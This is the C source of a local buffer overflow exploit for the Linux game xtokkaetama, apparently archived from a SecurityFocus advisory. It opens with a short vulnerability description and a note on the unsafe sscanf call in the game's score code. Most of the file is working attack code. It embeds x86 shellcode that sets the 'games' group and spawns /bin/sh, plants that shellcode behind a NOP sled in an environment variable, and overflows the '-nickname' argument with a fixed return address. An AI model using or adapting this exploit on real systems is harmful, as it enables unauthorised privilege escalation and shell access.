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52 lines
No EOL
2 KiB
C
52 lines
No EOL
2 KiB
C
// source: https://www.securityfocus.com/bid/8337/info
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xtokkaetama is prone to a locally exploitable buffer overflow vulnerability. This is due to insufficient bounds checking of the '-nickname' command line option, which could result in execution of arbitrary code in the context of the software.
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The software is typically installed setgid 'games'.
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/* (linux/x86)xtokkaetama[v1.0b+]: (games) local buffer overflow exploit.
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by: v9[v9@fakehalo.deadpig.org]. (fakehalo)
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exploits an overflow missed in the patch/upgrade of:
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https://www.securityfocus.com/bid/8312
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fix:
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xtama_score.c:132: +strncpy(name,nickname,sizeof(name)-1);
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xtama_score.c:132: -sscanf( nickname , "%s",name ) ;
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(tested on non-debian, should still work elsewhere)
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <unistd.h>
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#include <grp.h>
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#include <sys/types.h>
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#define PATH "/usr/games/xtokkaetama" /* game binary. */
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static char exec[]= /* setgid(?)+shell. */
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"\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31\xc0\xb0\x47\xcd"
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"\x80\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56"
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"\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34"
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"\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
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"\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
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int main(){
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unsigned int i;
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char *buf;
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struct group *gent;
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printf("(*)xtokkaetama[v1.0b+]: local buffer overflow exploit.\n");
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printf("(*)by: v9@fakehalo.deadpig.org / fakehalo.\n\n");
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if(!(buf=(char *)malloc(16384+1)))exit(1);
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memset(buf,0x90,(16384-strlen(exec)));
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if(!(gent=getgrnam("games")))exec[5]=exec[7]=20;
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else{exec[5]=exec[7]=gent->gr_gid;}
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strcat(buf,exec);
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setenv("EXEC",buf,1);
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memset(buf,0x0,(16384+1));
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for(i=0;i<512;i+=4){*(long *)&buf[i]=0xbfffe001;}
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printf("[*] in the game, hit: spacebar, \"Q\", spacebar, spacebar.\n");
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sleep(3);
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printf("[*] entering xtokkaetama...\n");
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if(execlp(PATH,PATH,"-nickname",buf,0))
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printf("[!] failed to execute %s.\n",PATH);
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exit(0);
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} |